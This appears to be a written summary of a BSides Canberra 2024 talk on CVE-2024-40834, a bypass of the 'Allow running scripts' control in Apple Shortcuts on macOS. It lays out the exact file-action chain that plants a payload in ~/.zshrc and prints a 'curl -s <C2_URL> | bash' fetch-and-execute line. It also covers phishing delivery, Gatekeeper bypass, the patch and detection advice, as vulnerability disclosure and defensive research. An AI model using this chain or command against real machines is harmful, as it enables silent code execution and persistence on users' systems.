Unveiling the Apple's CVE-2024-40834 - A "shortcut" to the bypass road
Marcio Almeida (Co-Founder and Director of Technical Services · Tanto Security)
BSides Canberra VII (2024) · Day 3 · Main Track
Overview
In his talk at BSides Canberra, Marcio Almeida, Co-Founder and Director of Technical Services at Tanto Security, unveiled a critical vulnerability in Apple's Shortcuts application, designated as CVE-2024-40834. Titled "A 'shortcut' to the bypass road," Almeida demonstrated how a series of seemingly innocuous file manipulation actions within Shortcuts could be chained to bypass a fundamental security control: the "Allow running scripts" protection. This bypass effectively enables an attacker to achieve arbitrary code execution on macOS systems, even when this crucial security setting is disabled by default.

Key moments
- 0:00 Introduction and talk overview
- 2:00 Understanding the Apple Shortcuts application
- 4:00 Shortcuts' built-in security protections analyzed
- 8:00 Initial exploit: modifying shell config files
- 12:00 Bypassing the .txt extension problem
- 14:00 Abusing malicious shortcuts for phishing
- 16:30 Apple's patch, CVE-2024-40834, and bounty
- 18:00 Critical analysis of Apple's patch effectiveness
Unveiling the Apple's CVE-2024-40834 - A "shortcut" to the bypass road
Speakers: Marcio Almeida, Co-Founder and Director of Technical Services, Tanto Security
Conference: BSides Canberra
YouTube: https://www.youtube.com/watch?v=VPmDVhxBu-I
Overview
In his talk at BSides Canberra, Marcio Almeida, Co-Founder and Director of Technical Services at Tanto Security, unveiled a critical vulnerability in Apple's Shortcuts application, designated as CVE-2024-40834. Titled "A 'shortcut' to the bypass road," Almeida demonstrated how a series of seemingly innocuous file manipulation actions within Shortcuts could be chained to bypass a fundamental security control: the "Allow running scripts" protection. This bypass effectively enables an attacker to achieve arbitrary code execution on macOS systems, even when this crucial security setting is disabled by default.
The significance of this vulnerability lies in its ability to subvert Apple's security model for automation. Shortcuts, a powerful tool designed to help users automate tasks, is intended to operate within a sandboxed environment with explicit user consent for sensitive operations. However, Almeida's research exposed a method to inject and execute malicious shell commands by leveraging the application's file I/O capabilities, circumventing the need for direct script execution privileges. This finding highlights a persistent challenge in securing complex, feature-rich platforms: the unintended interactions between legitimate functionalities can create new attack vectors.
This talk is particularly relevant for security professionals, system administrators, and Apple users, as it outlines a practical method for attackers to gain initial access or achieve persistence on macOS devices. The technique relies on social engineering, where a user is tricked into installing and running a malicious shortcut. Given that Apple signs legitimate shortcuts, this method can also bypass Gatekeeper, Apple's malware prevention system, further complicating detection and defense. Almeida's demonstration serves as a stark reminder that even seemingly robust default security settings can be rendered ineffective through clever exploitation of underlying application logic.
Background
▶ Watch: Introduction and talk overview (0:00)
Apple's Shortcuts application is a powerful automation tool, serving as a spiritual successor to the older Automator utility. It allows users to create custom workflows by chaining together a series of "actions" – predefined operations that can interact with various system components, applications, and data. These workflows can range from simple tasks like converting file formats to complex sequences involving multiple applications and web services. The appeal of Shortcuts lies in its ease of use and the ability to significantly enhance user productivity. Apple even provides a marketplace where users can download pre-built shortcuts, and it internally signs shortcuts, which helps them run smoothly on macOS and iOS devices.
To mitigate the inherent risks associated with such a powerful automation engine, Apple implemented several built-in protections. A primary defense mechanism is the "Allow running scripts" setting, found in the advanced configuration of Shortcuts. By default, this checkbox is disabled, preventing shortcuts from directly executing shell scripts, JavaScript, or app scripts. This is a critical control designed to prevent malicious code execution. Other protections include restrictions on sharing large amounts of data, requiring confirmation for deleting individual files, and blocking the deletion of large quantities of files without explicit user consent. Furthermore, Shortcuts incorporates Privacy Control pop-ups, which prompt users for permissions (e.g., access to the home folder) the first time a shortcut attempts a sensitive action. While these prompts are designed to inform users, the talk highlighted that users often become accustomed to clicking "OK," especially for commonly used shortcuts, potentially leading to prompt fatigue.
Another significant protection involves the sharing mechanism. Initially, users could share any shortcut they wrote. Apple later introduced a requirement for shortcuts to be signed before they could be shared, meaning they had to be submitted to Apple for approval. This signing process was intended to vet shortcuts for malicious content and ensure they adhered to Apple's security guidelines. However, as Almeida's research demonstrates, even signed shortcuts can contain logic that, when exploited, bypasses these intended security boundaries. The core problem arises from the extensive set of actions available within Shortcuts, particularly those related to file system manipulation. While individual actions might appear benign, their combination and chaining can create powerful primitives that, in the wrong hands, can lead to unintended and malicious outcomes, especially when the default "Allow running scripts" protection is circumvented.
Key Findings
▶ Watch: Shortcuts' built-in security protections analyzed (4:00)
The central discovery of Marcio Almeida's research is the ability to achieve arbitrary code execution on macOS systems by cleverly chaining a sequence of file manipulation actions within Apple Shortcuts, thereby bypassing the "Allow running scripts" protection. This protection is a cornerstone of Shortcuts' security model, designed to prevent the direct execution of shell scripts or other code.
Almeida's initial insight stemmed from observing the various read, write, move, rename, and open application primitives available within Shortcuts, even when direct scripting is disallowed. His hypothesis, rooted in a CTF-like mindset, was whether these primitives could be leveraged to write malicious code to sensitive system files that are automatically executed by the operating system. The prime targets identified were shell configuration files such as .bashrc or .zshrc. These files are automatically sourced and executed whenever a new terminal session is opened, making them ideal candidates for achieving persistence or immediate code execution.
The core challenge encountered was a default behavior of the Append Text to File action: if the target file (e.g., .zshrc) did not already exist, Shortcuts would automatically append a .txt extension to the filename. This meant that an attempt to write to ~/.zshrc would result in a file named ~/.zshrc.txt, rendering the attack ineffective as zsh would not execute it. This seemingly minor detail presented a significant hurdle to the initial attack vector.
To overcome the .txt extension problem, Almeida devised an ingenious bypass that involved a three-step file manipulation chain:
- Save Text to File: The malicious payload (e.g., a
curlcommand to download and execute a script) is initially saved as plain text to a temporary file with an arbitrary name (e.g.,XXX) within a temporary subdirectory. - Set Name of File: This action is then used to rename the temporary file (
XXX) to the desired target filename (e.g.,.zshrc). This step effectively strips any unwanted extensions. - Move File: Finally, the renamed file (
.zshrc) is moved from its temporary location back to the user's home directory (~/), where it can be automatically sourced by the shell.
This sequence of actions successfully writes the malicious content to the intended shell configuration file without the .txt extension, enabling the arbitrary code execution. The impact of this finding is profound: it allows an attacker to bypass the "Allow running scripts" protection, execute unsigned code, and even leverage Apple's signing mechanism for shortcuts to circumvent Gatekeeper, Apple's primary malware prevention system. The only user interaction required is to install the shortcut, run it, and then click "Allow" on a privacy consent pop-up, a common user behavior, especially in phishing scenarios. This chain of events constitutes CVE-2024-40834, a critical vulnerability that undermines a core security control within the macOS ecosystem.
Technical Deep Dive
▶ Watch: Bypassing the .txt extension problem (12:00)
The technical foundation of CVE-2024-40834 lies in the creative exploitation of Apple Shortcuts' extensive action library, specifically focusing on file system manipulation primitives. The primary target for bypass was the "Allow running scripts" setting, which, when disabled (the default), prevents direct execution of shell or JavaScript code within a shortcut.
Shortcuts offers a vast array of actions, many of which involve file operations. Marcio Almeida highlighted several key actions relevant to the exploit:
- Open App / Quit App: Allows launching and closing applications.
- File: Generates a file handle for interacting with files.
- Rename File: Changes the name of an existing file.
- Save Files: Saves content to disk.
- Delete: Deletes files.
- Move: Relocates files between directories.
- Append Text to File: Appends text to an existing file or creates a new one.
- Open File: Opens a specified file.
The initial exploit concept revolved around using the Append Text to File action to inject malicious commands into a shell configuration file like .zshrc or .bashrc. These files are crucial because the zsh and bash shells automatically execute their contents upon starting a new terminal session. For instance, an attacker could append a line like curl -s <malicious_url> | bash to .zshrc. The curl command, when used to download and pipe a script directly to bash, is particularly effective as it bypasses Gatekeeper, Apple's malware prevention system, which typically flags files downloaded from the internet. The entire malicious workflow would then be triggered by simply opening a terminal.
However, a critical limitation emerged: if the target file (e.g., ~/.zshrc) did not exist, the Append Text to File action would automatically append a .txt extension, resulting in ~/.zshrc.txt. This rendered the attack ineffective as the shell would not recognize or execute this file. This behavior necessitated a more sophisticated approach.
Almeida's successful bypass payload involved a three-stage file manipulation sequence:
- Stage 1: Save Text to a Temporary File:
- The first action in the chain is
Save Text(orTextfollowed bySave File). - The malicious payload, for example,
open /Applications/Calculator.app(for proof-of-concept) orcurl -s <C2_URL> | bash(for real-world exploitation), is provided as input to this action. - This payload is saved to a temporary file, typically within a subdirectory of the user's home folder managed by Shortcuts (e.g.,
~/Shortcuts/XXX). The specific filenameXXXis arbitrary. - Crucially, Shortcuts handles the home directory (
~/) dynamically, meaning a shortcut crafted on one user's machine will correctly target the home directory of any user who runs it, regardless of their username.
- Stage 2: Rename the Temporary File:
- The output of the
Save Textaction (the temporary file~/Shortcuts/XXX) is then passed as input to theSet Name of Fileaction. - This action renames
XXXto the desired shell configuration file name, such as.zshrc. At this point, the file is~/Shortcuts/.zshrc.
- Stage 3: Move the Renamed File:
- The
~/Shortcuts/.zshrcfile is then passed to theMove Fileaction. - This action moves the file from the
~/Shortcuts/subdirectory directly into the user's home directory (~/). The file is now correctly located at~/.zshrc.
- Triggering Execution:
- Following these file operations, the shortcut includes an
Open Appaction targeting the Terminal application. - When Terminal launches, it automatically sources the newly created or modified
~/.zshrcfile, executing the malicious payload. - An optional
Quit Appaction for Terminal can be added to close the terminal window, making the execution less noticeable.
This intricate sequence successfully circumvents the .txt extension problem and ensures the malicious code is placed in a location where it will be automatically executed. The attacker can then distribute this shortcut, potentially via phishing, and upon user interaction (installing, running, and allowing the privacy prompt), achieve silent and persistent arbitrary code execution. The fact that Apple signs shortcuts that are shared through its marketplace further legitimizes them, making them appear trustworthy to unsuspecting users and bypassing Gatekeeper, which normally warns about untrusted downloaded executables. This entire mechanism exposes a significant flaw in how Apple's Shortcuts manages file system interactions relative to its script execution policies.
Demo / Proof of Concept
▶ Watch: Abusing malicious shortcuts for phishing (14:00)
Marcio Almeida provided a clear and concise demonstration of the CVE-2024-40834 bypass, illustrating both the initial failure and the successful exploitation. The proof-of-concept (PoC) aimed to open the Calculator application (open /Applications/Calculator.app) as a benign indicator of arbitrary code execution.
The demonstration began by showing a system where the ~/.zshrc file did not exist.
- Initial Attempt (Failure): Almeida first attempted a simpler approach using the
Append Text to Fileaction directly. He configured the shortcut to append theopen /Applications/Calculator.appcommand to~/.zshrc, followed by actions toOpen TerminalandClose Terminal. When this shortcut was executed on a system without an existing~/.zshrc, the Calculator app did not launch. Inspection revealed that Shortcuts had created a file named~/.zshrc.txtinstead of~/.zshrc, confirming the.txtextension problem and the failure of this direct approach.
- Successful Bypass (The Three-Stage Chain): Almeida then unveiled the successful bypass payload, which involved the three-stage file manipulation sequence:
- Save Text: The malicious command (
open /Applications/Calculator.app) was first saved as plain text to a temporary file (e.g.,XXX) within the~/Shortcuts/directory. - Set Name of File: This temporary file
XXXwas then renamed to.zshrc. - Move File: Finally, the newly renamed
.zshrcfile was moved from~/Shortcuts/to the user's home directory (~/). - Trigger: The shortcut then included the
Open TerminalandQuit Terminalactions.
When this refined shortcut was executed, the demonstration clearly showed the Calculator application successfully launching, confirming that the arbitrary command had been injected into ~/.zshrc and executed by the shell. The contents of ~/.zshrc were then displayed, showing the open /Applications/Calculator.app command correctly written without any .txt extension.
Beyond the local execution, Almeida also demonstrated the implications for phishing engagements and Gatekeeper bypass. He explained how a malicious shortcut, once created, could be shared. When a user clicks a share link, it leads to an Apple page where they can "Get Shortcut." Clicking this button downloads a signed shortcut file. This signed file can then be distributed via email or malicious websites. When a user adds and runs this signed shortcut on their macOS system, it bypasses Gatekeeper checks, and the only prompt they receive is a Privacy Consent asking for permission to access the home folder. Once the user clicks "Allow" (a common action for seemingly legitimate automation tools), the malicious payload executes without further warnings. The demonstration effectively showcased how the ~/ path resolution works universally, ensuring the exploit functions regardless of the target user's specific home directory name. This end-to-end PoC underscored the practical viability and significant risk posed by CVE-2024-40834.
Defensive Implications
▶ Watch: Critical analysis of Apple's patch effectiveness (18:00)
The discovery of CVE-2024-40834 carries significant defensive implications for macOS users, security teams, and Apple itself. The ability to bypass "Allow running scripts" and execute arbitrary code through seemingly benign file operations highlights a critical gap that defenders need to address.
User Education and Social Engineering:
The primary vector for this vulnerability is social engineering. Attackers must convince a user to install and run a malicious shortcut. Given that Apple signs legitimate shortcuts, these malicious ones can appear highly credible, bypassing Gatekeeper and only requiring a single Privacy Consent pop-up. Defenders must intensify user education campaigns, emphasizing extreme caution when installing any shortcut, even if it appears to come from a trusted source or is "signed by Apple." Users should be trained to scrutinize the actions a shortcut performs, not just its source, and to be wary of any shortcut asking for permissions to sensitive areas like the home folder, especially if it's unexpected or from an unknown sender. The talk explicitly stated that user interaction (clicking "Allow") is required, making phishing a key component of the attack chain.
Apple's Patch Analysis:
Apple addressed CVE-2024-40834 in July, assigning it the CVE identifier. The patch introduces a new pop-up warning specifically when a shortcut attempts to modify a shell configuration file (like .zshrc or .bashrc). This pop-up explicitly states, "This shortcut will change a shell configuration file. This could be malicious. Do you want to allow it?"
However, Almeida critically analyzed this patch, noting that it is a "soft" block. Users are still presented with an "Allow" option. If the user clicks "Allow," the malicious action proceeds. Furthermore, this warning appears every time the shortcut is run, which could lead to prompt fatigue. Users, especially if they perceive the shortcut as legitimate or have been instructed to click "Allow," might habituate to dismissing the warning. The speaker expressed skepticism about its long-term effectiveness, stating, "will be this sufficient? I don't know maybe yes maybe no but the time will say." This suggests that while Apple has acknowledged the risk, the current mitigation might not be robust enough to prevent determined attackers or mitigate the effects of effective social engineering.
Detection and Monitoring:
Security teams should implement monitoring for unusual activity related to Shortcuts. This includes:
- Unusual Shortcut Installations: Monitoring for new or unexpected shortcuts appearing in user accounts.
- Modifications to Shell Configuration Files: Alerting on any unauthorized or suspicious modifications to
~/.zshrc,~/.bashrc,~/.profile, or other shell startup files. This is particularly important if the modifications originate from the Shortcuts application or processes spawned by it. - Process Monitoring: Looking for unusual processes launched by the
Terminal.appor other shell interpreters shortly after a shortcut is run. - Network Activity: Monitoring for
curlorwgetcommands originating from user processes that attempt to download and execute scripts from untrusted domains.
Broader Attack Surface Considerations:
Almeida also briefly touched upon the broader attack surface of Shortcuts, mentioning actions like Get Content of or Open XC. These actions, while not directly part of CVE-2024-40834, could be leveraged for data exfiltration (e.g., reading sensitive files and leaking them via SSRF or other callback mechanisms). Defenders should be aware that this vulnerability is likely one of many potential abuses of Shortcuts' powerful capabilities. The ability to register custom handlers for specific file types (e.g., .plist files) in macOS further expands the potential for chaining different types of attacks.
In summary, while Apple has patched CVE-2024-40834 with a warning, the responsibility largely falls on user vigilance and robust organizational security practices to prevent exploitation. The vulnerability serves as a strong reminder that powerful automation tools, while beneficial, introduce significant security risks if their underlying mechanics are not thoroughly secured against creative abuse.
Key Takeaways
- Apple Shortcuts is a Powerful Attack Surface: The Shortcuts application, while designed for user convenience and automation, possesses a vast array of actions that can be chained in unexpected ways, creating significant security risks and attack surfaces.
- CVE-2024-40834 Bypasses Script Execution Controls: Marcio Almeida demonstrated how CVE-2024-40834 allows attackers to bypass the "Allow running scripts" protection in Apple Shortcuts, which is intended to prevent arbitrary code execution, by leveraging file manipulation primitives.
- Chained File Operations Enable Code Injection: The core of the bypass involves a clever sequence of
Save Text,Set Name of File, andMove Fileactions to write malicious commands into shell configuration files (like~/.zshrcor~/.bashrc) without the.txtextension that would otherwise nullify the attack. - Gatekeeper Bypass and Phishing Risk: Malicious shortcuts can be signed by Apple through its sharing mechanism, enabling them to bypass Gatekeeper, Apple's malware prevention system. This significantly increases the effectiveness of phishing campaigns, as users only encounter a single privacy consent pop-up before code execution.
- Patch is a "Soft" Block, Not a Hard Stop: Apple's patch introduces a warning pop-up when a shortcut modifies shell configuration files. However, this is a soft block, meaning users can still click "Allow" to proceed, potentially leading to prompt fatigue and continued vulnerability if social engineering is effective.
- User Education is Paramount: Given the reliance on user interaction (installing, running, and allowing permissions), continuous and effective user education against social engineering and phishing attacks targeting Shortcuts is critical for defense.
About the Speaker(s)
Marcio Almeida is the Co-Founder and Director of Technical Services at Tanto Security. With over 15 years of experience in the cybersecurity industry, Marcio is a seasoned professional with deep expertise in technical security. Originally from Brazil, he has been residing in Australia since 2015. Marcio is an enthusiastic participant in Capture The Flag (CTF) competitions, though he describes himself as mostly a retired player now, he still recommends and plays the STACK CTF annually. His passion for security research and finding novel vulnerabilities is evident in his detailed analysis and presentation of the Apple Shortcuts bypass. He can be found on X (formerly Twitter), LinkedIn, and GitHub, where he shares his code and exploits.